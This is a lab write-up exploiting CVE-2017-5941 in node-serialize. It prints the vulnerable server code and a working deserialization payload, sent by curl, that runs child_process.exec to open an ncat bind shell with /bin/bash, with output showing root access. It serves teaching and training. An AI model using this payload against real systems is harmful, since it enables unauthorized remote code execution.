This is a Pentester Academy challenge writeup. It required to exploit a CVE-2017-5941 vulnerability in NodeJS server application during deserialization to trigger an RCE.
Warning this is a writeup so it contains spoilers. I am changing it a little bit in order to save you from revealing everything.
Application
Server consisted of two endpoints: /
and /process
, where the latter accepted POST requests, parsed data, saved it in a file, then read it again, deserialized it and sent data in response.
'use strict'; var http = require('http'); var app = require('express')(); var bodyParser = require('body-parser'); var urlencodedParser = bodyParser.urlencoded({extended: true}); var listener = app.listen(8888, function(){ console.log('Listening on port ' + listener.address().port); //Listening on port 8888 }); app.get('/', function (req, res) { var html = ''; html += "Method\tEndpoint\tParameter\tDescription\n"; html += "------\t--------\t---------\t-----------\n"; html += "POST\t/process\tjson\t\tReturns the unserialized json\n"; res.send(html); }); app.post('/process', urlencodedParser, function (req, res) { // console.log(req.body.json); const fs = require('fs'); var serialize = require('node-serialize'); // serialize.deserialize(req.body.data); fs.writeFileSync('data.json', req.body.json); let rawdata = fs.readFileSync('data.json'); console.log("\nRAW DATA: \n" + rawdata + "\n"); let data = JSON.parse(rawdata); var reply = ''; reply += "Unserialized response: <br />"; //console.log("\nAfter unserialization: \n" + serialize.unserialize(data)); reply += JSON.stringify(serialize.unserialize(data), null, 4); res.send(reply); });
Example request and response are:
$ curl -X POST -d 'json={"a": "123"}' localhost:8888/process Unserialized response: <br />{ "a": "123" }
JavaScript Strikes Again
JS has many poor design decisions features that make it an interesting object to evaluate (pun intended). One of such features is immediate function invocation. Normally when we create an object with defined functions, we need to explicitly call them.
> var x = {'a': function(){console.log('a')}} > x.a [Function: a] > x.a() a
But if we add braces behind function definitions magic happens:
> var x = {'a': function(){console.log('a')}()} a
As you can see the function got called immediately. Let’s try this out with our server.
Serialize POC
First, we need to somehow serialize our data. Let’s use node-serialize
for this.
> var serialize = require('node-serialize'); > var poc = { ... x: function(){console.log("POC")} ... } > serialize.serialize(poc) '{"x":"_$$ND_FUNC$$_function(){console.log(\\"POC\\")}"}'
Let’s paste this payload to our request.
curl -X POST -d 'json={"x":"_$$ND_FUNC$$_function(){console.log(\"POC\")}"}' localhost:8888/process Unserialized response: <br />{}
And the server has logged:
RAW DATA: {"x":"_$$ND_FUNC$$_function(){console.log(\"POC\")}"}
Looks like it has understood code correctly. So, let’s go once again, now trying to invoke the function. We should see “POC” being logged by the server.
curl -X POST -d 'json={"x":"_$$ND_FUNC$$_function(){console.log(\"POC\")}()"}' localhost:8888/process Unserialized response: <br />{}
And this is what gets logged by the server:
RAW DATA: {"x":"_$$ND_FUNC$$_function(){console.log(\"POC\")}()"} POC
Preparing the Actual Payload
In order to be able to get full advantage of this NodeJS deserialization RCE vulerability, we’d like to have access to some sort of shell. This can be done with netcat.
ncat --help Ncat 7.80 ( https://nmap.org/ncat ) Usage: ncat [options] [hostname] [port] Options taking a time assume seconds. Append 'ms' for milliseconds, 's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms). # ... -e, --exec <command> Executes the given command # ... -l, --listen Bind and listen for incoming connections # ...
It can serve as a simple server. Let’s try to run the ls
command:
# Terminal 1 $ ncat -l -e /bin/bash localhost 5000 # Terminal 2 $ ncat localhost 5000 ls data.json main.js node_modules package-lock.json
Let’s try to insert it into our payload. We’ll need child_process
library for this.
> var poc = { ... x: function(){ ..... require('child_process').exec('ncat -l -e /bin/bash localhost 5000', function(er, so, se){}); ..... }, ... } > serialize.serialize(poc) `{"x":"_$$ND_FUNC$$_function(){\\nrequire('child_process').exec('ncat -l -e /bin/bash localhost 5000', function(er, so, se){});\\n}"}`
Note, that I needed to delete backslashes and turn single quotes into escaped double quotes:
$ curl -X POST -d 'json={"x":"_$$ND_FUNC$$_function(){\nrequire(\"child_process\").exec(\"ncat -l -e /bin/bash localhost 5555\", function(er, so, se){});\n}()"}' http://localhost:8888/process Unserialized response: <br />{} $ ncat localhost 5555 whoami root
And that’s it. RCE through vulnerability with privilege escalation is here.
I encourage you to play around with this code (this time it won’t be on gitlab since it’s only one file and it’s not even my own code).
Additional resources
See also
I encourage you to subscribe to the newsletter, and read more: